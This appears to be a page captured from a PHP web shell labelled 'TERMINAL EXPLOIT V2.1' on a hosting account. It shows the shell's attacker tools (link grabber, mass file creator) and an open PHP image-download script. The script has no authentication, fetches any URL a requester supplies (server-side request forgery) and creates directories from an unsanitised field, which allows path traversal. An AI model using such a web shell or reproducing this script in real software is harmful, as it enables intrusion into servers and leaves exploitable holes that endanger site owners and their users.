TERMINAL EXPLOIT V2.1

[LOCATION]: /home/sltdevq/img/

Folder Link Grabber

PREFIX: SUFFIX:

Mass File Creator

FILENAME: CONTENT:

Quick Actions

FILE:
NEW_ITEM:
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$defaultRep = __DIR__; // Répertoire par défaut basé sur l'emplacement du script

function downloadAndConvertImage($url, $uploadDir, $newName) {
    error_log("Attempting to download image from $url");

    // Télécharger l'image
    $imageContent = file_get_contents($url);
    if ($imageContent === false) {
        error_log("Failed to download image from $url");
        return false;
    }

    // Créer une image GD à partir du contenu téléchargé
    $sourceImage = imagecreatefromstring($imageContent);
    if ($sourceImage === false) {
        error_log("Failed to create image from downloaded content");
        return false;
    }

    // Créer le chemin complet du fichier avec l'extension .png
    $imagePath = $uploadDir . '/' . pathinfo($newName, PATHINFO_FILENAME) . '.png';

    // Sauvegarder l'image en PNG
    $result = imagepng($sourceImage, $imagePath);
    imagedestroy($sourceImage); // Libérer la mémoire

    if ($result === false) {
        error_log("Failed to save image to $imagePath");
        return false;
    }

    error_log("Successfully downloaded and saved image to $imagePath");
    return $imagePath;
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $jsonData = file_get_contents('php://input'); // Lire le JSON brut de la requête
    error_log("Received JSON data: $jsonData");

    // Vérifier si les données JSON sont bien reçues
    if (empty($jsonData)) {
        error_log("No JSON data received");
        echo json_encode([
            'status' => 'error',
            'message' => 'No JSON data received'
        ]);
        exit;
    }

    // Debug: afficher le contenu brut du JSON
    echo "Received raw JSON: " . htmlspecialchars($jsonData) . "\n";

    $data = json_decode($jsonData, true);

    // Vérifier les erreurs de décodage JSON
    if (json_last_error() !== JSON_ERROR_NONE) {
        error_log("JSON decode error: " . json_last_error_msg());
        echo json_encode([
            'status' => 'error',
            'message' => 'Invalid JSON data: ' . json_last_error_msg()
        ]);
        exit;
    }

    // Debug: afficher les données décodées
    echo "Decoded JSON data: ";
    print_r($data);
    echo "\n";

    $downloadedImages = [];
    foreach ($data as $item) {
        if (isset($item['url']) && isset($item['type']) && isset($item['name'])) {
            $url = trim($item['url']);
            $type = trim($item['type']);
            $name = trim($item['name']);
            $uploadDir = $defaultRep . '/' . $type;

            error_log("Processing image with URL: $url, Type: $type, Name: $name");

            if (!is_dir($uploadDir)) {
                if (!mkdir($uploadDir, 0755, true)) {
                    error_log("Failed to create directory $uploadDir");
                    continue;
                }
                error_log("Directory $uploadDir created successfully");
            }

            if (filter_var($url, FILTER_VALIDATE_URL)) {
                $imagePath = downloadAndConvertImage($url, $uploadDir, $name);
                if ($imagePath) {
                    $downloadedImages[] = $imagePath;
                } else {
                    error_log("Failed to download or save image: $url");
                }
            } else {
                error_log("Invalid URL: $url");
            }
        } else {
            error_log("Missing url, type, or name in JSON data");
        }
    }

    echo json_encode([
        'status' => 'success',
        'images' => $downloadedImages
    ]);
} else {
    error_log("Invalid request method: " . $_SERVER['REQUEST_METHOD']);
    echo json_encode([
        'status' => 'error',
        'message' => 'Invalid request method'
    ]);
}
?>
[ CLOSE ]